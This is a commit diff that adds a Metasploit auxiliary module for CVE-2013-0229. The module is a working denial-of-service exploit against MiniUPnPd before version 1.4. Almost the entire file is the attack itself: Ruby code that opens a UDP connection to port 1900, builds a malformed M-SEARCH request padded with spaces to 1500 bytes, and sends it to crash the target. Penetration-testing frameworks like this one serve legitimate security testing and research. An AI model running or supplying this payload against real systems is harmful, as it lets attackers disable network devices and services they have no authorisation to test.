Added CVE-2013-0229 for MiniUPnPd < 1.4

Author: dejanviris

modules/exploits/multi/upnp/miniupnpd_dos.rb

@@ -0,0 +1,86 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#	 http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Udp
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'						=>	'MiniUPnPd < 1,4 denial of service (DoS) exploit',
+			'Description'		 =>
+				%q{
+					This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
+					server via specifically crafted UDP request. This vulnerability was identified
+					as CVE-2013-0229.
+				},
+			'Author'					=> [ 'Dejan Lukan' ],
+			'License'				 => MSF_LICENSE,
+			'Version'				 => '$Revision: 9999 $',
+			'References'			=> [
+				[ 'CVE', '2013-0229' ],
+				[ 'OSVDB', '89625' ],
+			],
+			'DisclosureData'	 => 'Mar 27 2013',
+		))
+
+		register_options(
+		[
+			Opt::RPORT(1900),
+		], self.class)
+	end
+
+	def run
+		# connect to the UDP port
+		connect_udp
+
+		# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
+		# ST line
+		sploit = "M-SEARCH * HTTP/1.1\r\n"\
+			"HOST: 239.255.255.250:1900\r\n"\
+			"ST:uuid:schemas:device:MX:3"
+
+		# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
+		# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
+		# characters: there's more chance that the the program will run off the stack.
+		sploit += ' '*(1500-sploit.length)
+
+		# send the exploit to the target
+		print_status("Sending malformed packet to #{rhost}...")
+		udp_sock.put(sploit)
+
+		# disconnect from the server
+		print_status("The target should be unresponsive now...")
+		disconnect_udp
+	end
+end
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